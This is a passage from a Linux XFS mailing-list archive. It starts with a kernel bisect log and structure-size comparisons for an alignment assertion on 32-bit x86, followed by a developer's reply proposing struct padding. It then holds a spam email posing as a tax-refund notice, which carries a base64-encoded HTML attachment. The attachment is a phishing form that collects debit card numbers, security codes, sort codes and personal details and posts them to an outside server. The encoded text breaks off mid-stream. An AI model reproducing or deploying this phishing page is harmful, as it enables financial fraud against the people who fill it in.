[93b05cba8ed52a751da9c4c7da6c97bc514bec77] Merge tag 'virtio-next-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/rusty/linux git bisect good 93b05cba8ed52a751da9c4c7da6c97bc514bec77 # good: [eef334e5776c8ef547ada4cec17549929fe590b4] xfs: assert that we hold the ilock for extent map access git bisect good eef334e5776c8ef547ada4cec17549929fe590b4 # bad: [46f23adf78545c49591619a615edeec41ed5a549] Merge branch 'xfs-factor-icluster-macros' into for-next git bisect bad 46f23adf78545c49591619a615edeec41ed5a549 # bad: [ce8e962939ca12218092f8eb3c8cfb196cd8cc51] xfs: remove the dquot log format from the dquot log item git bisect bad ce8e962939ca12218092f8eb3c8cfb196cd8cc51 # good: [3de559fbd04d67473b9be2bd183823c40c4b7557] xfs: refactor xfs_inode_item_format git bisect good 3de559fbd04d67473b9be2bd183823c40c4b7557 # bad: [bde7cff67c39227c6ad503394e19e58debdbc5e3] xfs: format log items write directly into the linear CIL buffer git bisect bad bde7cff67c39227c6ad503394e19e58debdbc5e3 # good: [1234351cba958cd5d4338172ccfc869a687cd736] xfs: introduce xlog_copy_iovec git bisect good 1234351cba958cd5d4338172ccfc869a687cd736 # first bad commit: [bde7cff67c39227c6ad503394e19e58debdbc5e3] xfs: format log items write directly into the linear CIL buffer Note: For the data below, I tried my hardest to run both good and bad kernels with the same kernel config. Kernel source code was generated by the `git merge xfs-oss/master` methods cited above. Changes from kernel with working XFS (a) and kernel with broken XFS (b), looking for size changes: struct xsave_struct { a: /* size: 832, cachelines: 13, members: 3 */ b: /* size: 1088, cachelines: 17, members: 6 */ struct perf_event { a: /* size: 864, cachelines: 14, members: 55 */ b: /* size: 872, cachelines: 14, members: 56 */ struct task_struct { a: /* size: 2988, cachelines: 47, members: 139 */ b: /* size: 3116, cachelines: 49, members: 143 */ struct zone { a: /* size: 764, cachelines: 12, members: 29 */ b: /* size: 768, cachelines: 12, members: 30 */ struct pglist_data { a: /* size: 3236, cachelines: 51, members: 14 */ b: /* size: 3252, cachelines: 51, members: 14 */ struct mm_struct { a: /* size: 564, cachelines: 9, members: 45 */ b: /* size: 576, cachelines: 9, members: 46 */ struct signal_struct { a: /* size: 632, cachelines: 10, members: 53 */ b: /* size: 640, cachelines: 10, members: 54 */ struct xfs_dquot { a: /* size: 516, cachelines: 9, members: 22 */ b: /* size: 492, cachelines: 8, members: 22 */ struct xfs_inode_log_item { a: /* size: 160, cachelines: 3, members: 11 */ b: /* size: 100, cachelines: 2, members: 8 */ struct xfs_dq_logitem { a: /* size: 104, cachelines: 2, members: 4 */ b: /* size: 80, cachelines: 2, members: 3 */ struct ftrace_event_call { a: /* size: 72, cachelines: 2, members: 12 */ b: /* size: 76, cachelines: 2, members: 13 */ struct ftrace_event_file { a: /* size: 36, cachelines: 1, members: 8 */ b: /* size: 48, cachelines: 1, members: 10 */ struct xfs_qoff_logitem { a: /* size: 92, cachelines: 2, members: 3 */ b: /* size: 76, cachelines: 2, members: 3 */ Changes from kernel with working XFS (a) and kernel with broken XFS (b), looking changes in the holes in structures. struct kernfs_open_file { a: b: /* XXX 3 bytes hole, try to pack */ I work with pahole maybe once every three months, and my fuzzy memory, it seems like there are more holes total on 32-bit x86 than there used to be, don't know why. As always, maybe there's a glitch in the system that created all of this. My systems evolve over time and may be in a substandard state at present. From david@fromorbit.com Sun Jan 26 19:56:24 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A27A07F50 for <xfs@oss.sgi.com>; Sun, 26 Jan 2014 19:56:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 949558F8033 for <xfs@oss.sgi.com>; Sun, 26 Jan 2014 17:56:24 -0800 (PST) X-ASG-Debug-ID: 1390787779-04cb6c31f5ea760001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 18bDAnQdVAFzsBRa for <xfs@oss.sgi.com>; Sun, 26 Jan 2014 17:56:20 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlcKAD+85VJ5LGaB/2dsb2JhbABZgwyDObRVhU+BBxd0giUBAQEDAScTHCMFCwgDGAklDwUlAyETh30HyAQXFo53B4MkgRQEmCaSH4NBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 27 Jan 2014 12:26:18 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W7bQs-0005Cv-NB; Mon, 27 Jan 2014 12:56:14 +1100 Date: Mon, 27 Jan 2014 12:56:14 +1100 From: Dave Chinner <david@fromorbit.com> To: "Michael L. Semon" <mlsemon35@gmail.com> Cc: xfs-oss <xfs@oss.sgi.com> Subject: Re: [NOISE] merge window blues, XFS broken Message-ID: <20140127015614.GD2212@dastard> X-ASG-Orig-Subj: Re: [NOISE] merge window blues, XFS broken References: <52E56386.5040802@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E56386.5040802@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1390787779 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144513 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Sun, Jan 26, 2014 at 02:35:34PM -0500, Michael L. Semon wrote: > Hi! This is more an observation than a bug report, me trying to figure > out what happened on what is now a 3-day-old kernel on 32-bit x86 > (Pentium 4). The report is marked as [NOISE] because I can do this... > > git pull origin master > git remote update # updates xfs-oss > git reset --hard v3.13 > git merge xfs-oss/master > > ...and the resulting kernel and XFS will be as smooth as silk. > However, if I do this... > > git pull origin master > git remote update # at time of pull, "Already up-to-date." > git merge xfs-oss/master > > ...the resulting XFS will not pass this, for either v4- or v5- > superblock XFS: > > mkfs.xfs -f $TEST_DEV # always OK > mount $TEST_DEV $TEST_DIR # may succeed, may fail > ls $TEST_DIR/ # may succeed, may fail > umount $TEST_DEV # always fails > > The assertion is this (from notes taken by hand): > > Assertion failed: IS_ALIGNED((unsigned long)vec->i_addr, sizeof(uint64_t)), file: fs/xfs/xfs_log.h, line: 49 Hmmmm - that would point to struct xfs_log_iovec being 12 bytes on ia32, similarly the struct xfs_log_vec may not be 8 byte aligned when allocated because pointers only require 4 byte alignement. Hence the initial data buffer may be 4 byte aligned and so that will break the alignment requirement. As a test, can you add pad both structures to be a multiple of 8 bytes in size, and add to them __aligned(8) so that they are correctly aligned in memory? i.e. struct xfs_log_vec { ...... int pad; } __aligned(8); struct xfs_log_iovec { ...... int pad; } __aligned(8); And see if that makes the problem go away? > I work with pahole maybe once every three months, and my fuzzy memory, it > seems like there are more holes total on 32-bit x86 than there used to be, > don't know why. Check the structs with pahole before and after you make the above padding change to see if there is a difference in size and alignment as a result. Cheers, Dave. -- Dave Chinner david@fromorbit.com From 9207-fhepmm@kiantrading.com Sun Jan 26 23:56:57 2014 Return-Path: <9207-fhepmm@kiantrading.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.8 required=5.0 tests=DEAR_SOMETHING, FROM_STARTS_WITH_NUMS,T_HTML_ATTACH,T_OBFU_HTML_ATTACH autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4CFD77F51 for <linux-xfs@oss.sgi.com>; Sun, 26 Jan 2014 23:56:57 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3E10F304043 for <linux-xfs@oss.sgi.com>; Sun, 26 Jan 2014 21:56:56 -0800 (PST) X-ASG-Debug-ID: 1390802211-04cb6c7508127f90001-w1Z2WR Received: from vmailhost.connectbd.net (vmailhost.connectbd.net [202.79.16.18]) by cuda.sgi.com with ESMTP id G0tUgp1bAgACGgVH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <linux-xfs@oss.sgi.com>; Sun, 26 Jan 2014 21:56:53 -0800 (PST) X-Barracuda-Envelope-From: 9207-fhepmm@kiantrading.com X-Barracuda-Apparent-Source-IP: 202.79.16.18 Received: (qmail 11168 invoked by uid 509); 27 Jan 2014 11:57:19 +0600 Received: from 83.244.250.61 by vmailhost (envelope-from <9207-fhepmm@kiantrading.com>, uid 507) with qmail-scanner-1.25-st-qms (clamdscan: 0.87/9683. spamassassin: 3.0.2. perlscan: 1.25-st-qms. Clear:RC:0(83.244.250.61):SA:1(5.5/5.0):. Processed in 14.029432 secs); 27 Jan 2014 05:57:19 -0000 X-Antivirus-MYDOMAIN-Mail-From: 9207-fhepmm@kiantrading.com via vmailhost X-Antivirus-MYDOMAIN: 1.25-st-qms (Clear:RC:0(83.244.250.61):SA:1(5.5/5.0):. Processed in 14.029432 secs Process 11046) Received: from 83-244-250-61.cust-83.exponential-e.net (HELO kiantrading.com) (info@kapcobd.com@83.244.250.61) by vmailhost.connectbd.net with SMTP; 27 Jan 2014 11:57:05 +0600 From: =?Windows-1250?B?UmV2ZW51ZSAtIElyaXNoIFRheCAmIEN1c3RvbXM=?= <7270-pakto@kiantrading.com> To: linux-xfs@oss.sgi.com Subject: :SPAM: =?Windows-1250?B?Tm90aWNlIG9mIFRheCBSZXR1cm4gLSBDbGllbnQgSUQgLSA1OTM0Nzg=?= Date: 27 Jan 2014 05:56:35 +0000 X-ASG-Orig-Subj: :SPAM: =?Windows-1250?B?Tm90aWNlIG9mIFRheCBSZXR1cm4gLSBDbGllbnQgSUQgLSA1OTM0Nzg=?= Message-ID: <20140127055635.114BDDAACC59AEFC@kiantrading.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_6ACAA5CC.9ECD8A7B" X-Barracuda-Connect: vmailhost.connectbd.net[202.79.16.18] X-Barracuda-Start-Time: 1390802213 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.06 X-Barracuda-Spam-Status: No, SCORE=2.06 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG194, FROM_EXCESS_BASE64, FROM_EXCESS_BASE64_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144519 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily 1.00 BSF_SC0_TG194 Custom Rule TG194 1.05 FROM_EXCESS_BASE64_2 From: base64 encoded unnecessarily This is a multi-part message in MIME format. ------=_NextPart_000_0012_6ACAA5CC.9ECD8A7B Content-Type: text/plain; charset="windows-1250" Content-Transfer-Encoding: 8bit 1/27/2014 5:56:35 Dear Sir/Madam, linux-xfs@oss.sgi.com I am sending this email to announce: After the last annual calculation of your fiscal activity we have determined that you are eligible to receive a tax return of: 371.91 To receive your return, you need to create a Government gateway account. NOTE: Please download and fill out the form attached to this email. Our head office address can be found on our web site at HM Revenue & Customs: www.hmrc.gov.uk The contents of this email and any attachments are confidential and as applicable, copyright in these is reserved to HM Revenue & Customs. Unless expressly authorized by us, any further dissemination or distribution of this email or its attachments is prohibited. ------=_NextPart_000_0012_6ACAA5CC.9ECD8A7B Content-Type: application/octet-stream; name="Revenue - Irish Tax & Customs.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Revenue - Irish Tax & Customs.html" PCEtLSBzYXZlZCBmcm9tIHVybD0oMDAxNilodHRwOi8vbG9jYWxob3N0IC0tPg0KPGh0bWw+ DQo8aGVhZD4NCjx0aXRsZT5UQVggUkVUVVJOIEZPUiBZRUFSIDIwMTM8L3RpdGxlPg0KPGJh c2UgaHJlZj0iaHR0cDovL3d3dy5jYXBjd25jLm9yZy9raWFudHJhZGluZ3JldmVudWUvYWN0 aW9uLnBocA0KIj4NCjxsaW5rIGhyZWY9ImNzcy9hcmNvdC1zdHlsZXMtMDJfcmVnaXN0ZXIu Y3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4NCjxsaW5rIGhyZWY9ImNz cy9hcmNvdC1zdHlsZXMuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4N CjxsaW5rIGhyZWY9ImNzcy9obXJjLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0 L2NzcyI+DQo8c2NyaXB0IHNyYz0ianMvY2hlY2suanMiIHR5cGU9InRleHQvamF2YXNjcmlw dCIgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPjwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHk+DQo8 Zm9ybSBpZD0iZnJtIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iYWN0aW9uLnBocCIgb25zdWJt aXQ9InJldHVybiB2YWxpZGF0ZSgpIj4NCjxkaXYgYWxpZ249ImxlZnQiPg0KCTx0YWJsZSBi b3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+DQoJPHRib2R5Pg0K CTx0cj4NCgkJPHRkIHdpZHRoPSI2MDAiPg0KCQkJPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBh ZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSI+DQoJCQk8dGJvZHk+DQoJ CQk8dHI+DQoJCQkJPHRkPg0KCQkJCQk8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0i MCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj4NCgkJCQkJPHRib2R5Pg0KCQkJCQk8 dHI+DQoJCQkJCQk8dGQgYWxpZ249ImNlbnRlciI+DQoJCQkJCQkJPGRpdiBpZD0iaGVhZGVy Ij4NCgkJCQkJCQkJPGltZyBzcmM9ImltZy9obXJjTG9nby5naWYiIGFsdD0iSE0gUmV2ZW51 ZSAmYW1wOyBDdXN0b21zIiBoZWlnaHQ9IjkwIiB3aWR0aD0iMzcwIj4NCgkJCQkJCQkJPGRp diBpZD0iaGVhZGVyLXRpdGxlIj5PbmxpbmUgU2VydmljZXM8L2Rpdj4NCgkJCQkJCQkJPHVs IGNsYXNzPSJpbmxpbmUtbmF2aWdhdGlvbiI+DQoJCQkJCQkJCQk8bGk+PGE+UmV2ZW51ZSAt IElyaXNoIFRheCAmIEN1c3RvbXM8L2E+PC9saT4NCgkJCQkJCQkJPC91bD4NCgkJCQkJCQk8 L2Rpdj4JCQkJCQkJDQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8L3Rib2R5Pg0K CQkJCQk8L3RhYmxlPg0KCQkJCTwvdGQ+DQoJCQk8L3RyPg0KCQkJPCEtLSBIRUFERVIgLS0+ DQoJCQk8dHIgdmFsaWduPSJ0b3AiPg0KCQkJCTx0ZCB2YWxpZ249InRvcCIgd2lkdGg9IjEw MCUiPg0KCQkJCQk8Zm9ybSBuYW1lPSJmcm0iIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJhY3Rp b24ucGhwIiBvbnN1Ym1pdD0icmV0dXJuIHZhbGlkYXRlKCkiPg0KCQkJCQk8dGFibGUgYm9y ZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj4N CgkJCQkJPHRib2R5Pg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgY29sc3Bhbj0iMiIgYWxpZ249 ImxlZnQiPiZuYnNwOzwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBj b2xzcGFuPSIyIiBhbGlnbj0ibGVmdCI+DQoJCQkJCQkJPGJyIC8+Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQoJCQkJCQkJPGI+PHU+QWRkcmVz cyBJbmZvcm1hdGlvbjwvdT4gLSA8L2I+UGxlYXNlIGVudGVyIHlvdXIgbmFtZSBhbmQgYWRk cmVzcyBhcyB5b3UgaGF2ZSBpdCBsaXN0ZWQgZm9yIHlvdXIgZGViaXQgY2FyZC4NCgkJCQkJ CTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZD4NCgkJCQkJCQkgJm5i c3A7DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWdu PSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJ IENhcmRIb2xkZXIgTmFtZSA8c3BhbiA+Ojwvc3Bhbj4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJ CTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJCQkJCQkgJm5ic3A7IDxpbnB1 dCBpZD0ibmFtZSIgbmFtZT0ibmFtZSIgc2l6ZT0iMjAiIGNsYXNzPSJlbnJvbGxtZW50SW5w dXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRy Pg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zv cm1fa29wIj4NCgkJCQkJCQkJIERhdGUgb2YgQmlydGggPHNwYW4gPjo8L3NwYW4+DQoJCQkJ CQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJ CQkJICZuYnNwOyA8aW5wdXQgaWQ9ImRvYjEiIG5hbWU9ImRvYjEiIG1heGxlbmd0aD0iMiIg c2l6ZT0iMiIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+Jm5ic3A7 LyZuYnNwOzxpbnB1dCBpZD0iZG9iMiIgbmFtZT0iZG9iMiIgbWF4bGVuZ3RoPSIyIiBzaXpl PSIyIiBjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0ZXh0Ij4mbmJzcDsvJm5i c3A7PGlucHV0IGlkPSJkb2IzIiBuYW1lPSJkb2IzIiBtYXhsZW5ndGg9IjQiIHNpemU9IjQi IGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4N CgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJ CQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIEFkZHJlc3MgPHNwYW4g Pjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGln bj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9InN0cmFkYSIgbmFtZT0ic3Ry YWRhIiBzaXplPSIyNSIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+ DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249 InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkg VG93bi9DaXR5IDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4N CgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJv cmFzIiBuYW1lPSJvcmFzIiBzaXplPSIxNSIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIg dHlwZT0idGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJ CQk8dGQgYWxpZ249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3Ai Pg0KCQkJCQkJCQkgUHJvdmluY2UvQ291bnR5IDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwv ZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAm bmJzcDsgPGlucHV0IGlkPSJzdGF0IiBuYW1lPSJzdGF0IiBzaXplPSIxNSIgY2xhc3M9ImVu cm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3Ry Pg0KCQkJCQkNCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0 ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJCTxkaXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJ CQkJCQkJCSBQaG9uZSBOdW1iZXIgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJ CQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8 aW5wdXQgaWQ9InRlbGVmb24iIG5hbWU9InRlbGVmb24iIG1heGxlbmd0aD0iMTMiIHNpemU9 IjEwIiBjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0ZXh0Ij4NCgkJCQkJCTwv dGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZD4NCgkJCQkJCQkgJm5ic3A7 DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgY29sc3Bh bj0iMiIgYWxpZ249ImxlZnQiPg0KCQkJCQkJCTxiciAvPiZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KCQkJCQkJCTxiPjx1PkRlYml0IENhcmQg SW5mb3JtYXRpb248L3U+IC0gPC9iPlBsZWFzZSBlbnRlciB5b3VyIERlYml0IENhcmQgd2hl cmUgcmVmdW5kcyB3aWxsIGJlIG1hZGUuDQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJ CQk8dHI+DQoJCQkJCQk8dGQ+DQoJCQkJCQkJICZuYnNwOw0KCQkJCQkJPC90ZD4NCgkJCQkJ PC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRp diBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIEFjY291bnQgTnVtYmVyIDxzcGFu ID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxp Z249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJhY2MiIG5hbWU9ImFjYyIg bWF4bGVuZ3RoPSIxNSIgc2l6ZT0iMTAiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5 cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJ PHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4N CgkJCQkJCQkJIERlYml0IENhcmQgTnVtYmVyIDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwv ZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAm bmJzcDsgPGlucHV0IGlkPSJmYWNsaWUiIG5hbWU9ImZhY2xpZSIgbWF4bGVuZ3RoPSIxNiIg c2l6ZT0iMTYiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPg0KCQkJ CQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdo dCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIEV4cGly eSBEYXRlIDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJ CQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGNsYXNzPSJl bnJvbGxtZW50SW5wdXRCb3giIGlkPSJleHBNb250aCIgbmFtZT0iZXhwTW9udGgiIHNpemU9 IjIiIG1heGxlbmd0aD0iMiIgdHlwZT0idGV4dCI+Jm5ic3A7Jm5ic3A7LyZuYnNwOyA8aW5w dXQgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgaWQ9ImV4cFllYXIiIG5hbWU9ImV4cFll YXIiIHNpemU9IjIiIG1heGxlbmd0aD0iMiIgdHlwZT0idGV4dCI+DQoJCQkJCQkJPHNwYW4g Y2xhc3M9InR4dF9mb3JtX2tvcCI+TU0vWVk8L3NwYW4+DQoJCQkJCQk8L3RkPg0KCQkJCQk8 L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2 IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgQ2FyZCBTZWN1cml0eSBDb2RlIDxz cGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2 YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJjc2MiIG5hbWU9ImNz YyIgbWF4bGVuZ3RoPSIzIiBzaXplPSIzIiBjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiB0 eXBlPSJwYXNzd29yZCI+DQoJCQkJCQkJIDwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4N CgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJCTxkaXYgY2xhc3M9InR4dF9mb3Jt X2tvcCI+DQoJCQkJCQkJCSBTb3J0LUNvZGUgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9k aXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZu YnNwOyA8aW5wdXQgaWQ9InNjMSIgbmFtZT0ic2MxIiBtYXhsZW5ndGg9IjIiIHNpemU9IjEi IGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPiZuYnNwOy0mbmJzcDs8 aW5wdXQgaWQ9InNjMiIgbmFtZT0ic2MyIiBtYXhsZW5ndGg9IjIiIHNpemU9IjEiIGNsYXNz PSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPiZuYnNwOy0mbmJzcDs8aW5wdXQg aWQ9InNjMyIgbmFtZT0ic2MzIiBtYXhsZW5ndGg9IjIiIHNpemU9IjEiIGNsYXNzPSJlbnJv bGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4N CgkJCQkJPHRyPg0KDQoNCg0KDQo8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0Ij4NCgkJ CQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgQWNjb3VudCBCYWxh bmNlKiBFeGFjdCBhbW91bnQgb2YgbW9uZXkgRXg6IDE4MjYsMjIgoyA8c3BhbiA+Ojwvc3Bh bj4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0 Ij4NCgkJCQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0iYmFsYW5jZSIgbmFtZT0iYmFsYW5jZSIg 